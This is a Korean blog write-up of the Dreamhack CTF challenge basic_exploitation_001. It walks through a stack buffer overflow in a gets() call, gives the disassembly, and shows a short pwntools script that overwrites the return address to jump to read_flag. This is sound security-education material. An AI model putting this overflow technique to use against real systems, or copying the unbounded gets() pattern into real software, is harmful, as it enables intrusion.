728x90
반응형
문제 : https://dreamhack.io/wargame/challenges/3
basic_exploitation_001
Description 이 문제는 서버에서 작동하고 있는 서비스(basic_exploitation_001)의 바이너리와 소스 코드가 주어집니다. 프로그램의 취약점을 찾고 익스플로잇해 "flag" 파일을 읽으세요. "flag" 파일의 내용
dreamhack.io
Environment
- NX 적용되어 있음 : 스택에 실행 권한이 없음 (shellcode 실행 불가능)
Code Analysis
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void read_flag() {
system("cat /flag");
}
int main(int argc, char *argv[]) {
char buf[0x80];
initialize();
gets(buf);
return 0;
}
Vulnerability Type : Stack buffer Overflow (BOF)
- gets()함수 : 입력에 제한을 두지 않아 버퍼 오버플로우가 일어나기 쉬움.
- read_flag()함수를 통해 /flag 값을 읽을 수 있음
현재 buf의 크기는 0x80인데, gets()가 buf에 넣을 값을 제한 없이 읽고 있다.
따라서 buf에 내가 원하는 크기의 값을 집어넣을 수 있기 때문에 스택 버퍼 오버플로우가 발생할 가능성이 있다.
해당 코드를 취약하다고 판단하는 이유는 다음과 같다.
- 스택 영역에 있는 버퍼에 입력 제한이 없음
- 플래그를 읽을 수 있는 함수가 바이너리 안에 존재함
- 쉘 코드를 사용하지 않더라도 read_flag()함수를 통해 익스플로잇 할 수 있음 -> NX enable이더라도 상관 없음
따라서 해당 코드는 익스플로잇이 가능하다.
Trigger
buffer overflow 발생
Stack Frame
(gdb) disass main
Dump of assembler code for function main:
0x080485cc <+0>: push %ebp
0x080485cd <+1>: mov %esp,%ebp
0x080485cf <+3>: add $0xffffff80,%esp
0x080485d2 <+6>: call 0x8048572 <initialize>
0x080485d7 <+11>: lea -0x80(%ebp),%eax
0x080485da <+14>: push %eax
0x080485db <+15>: call 0x80483d0 <gets@plt>
0x080485e0 <+20>: add $0x4,%esp
0x080485e3 <+23>: mov $0x0,%eax
0x080485e8 <+28>: leave
0x080485e9 <+29>: ret
End of assembler dump.
- read_flag의 주소는 0x080485b9로 고정됨
Exploit Scenario
132byte의 입력 + read_flag의 주소
Exploit
from pwn import *
p = remote("host3.dreamhack.games", 21630)
p.sendline(b"A" * 0x84 + p32(0x080485b9))
p.interactive()
Question & Learn
Shell code를 사용할 수 없는 이유
NX라는 보호기법이 설정되어 있기 때문이다.
스택 영역에 실행 권한이 없기 때문에
basic_exploit_000 문제처럼 stack의 주소를 retrun addr에 넣게 되면, 실행이 되지 않는다.
따라서 이 경우에는 미리 바이너리에 구현되어 있는 주소를 이용하는 것이다.
* NX를 bypass 할 수 있는 경우는 많다. 하지만 NX가 설정되어 있는 경우 스택 영역에 shellcode를 넣어 익스하는 것은 불가능하다는 것을 이해하자
728x90
반응형
'Hacking > Write Up' 카테고리의 다른 글
[Reversing] Reversing Basic Challenge #0 (3) | 2024.07.28 |
---|---|
[Pwnable] bof (4) | 2024.07.28 |
[Cryptography] Textbook-RSA (2) | 2024.02.13 |
[Cryptography] Textbook-DH (1) | 2024.02.13 |
[Pwnable] basic_exploitation_000 (1) | 2024.02.09 |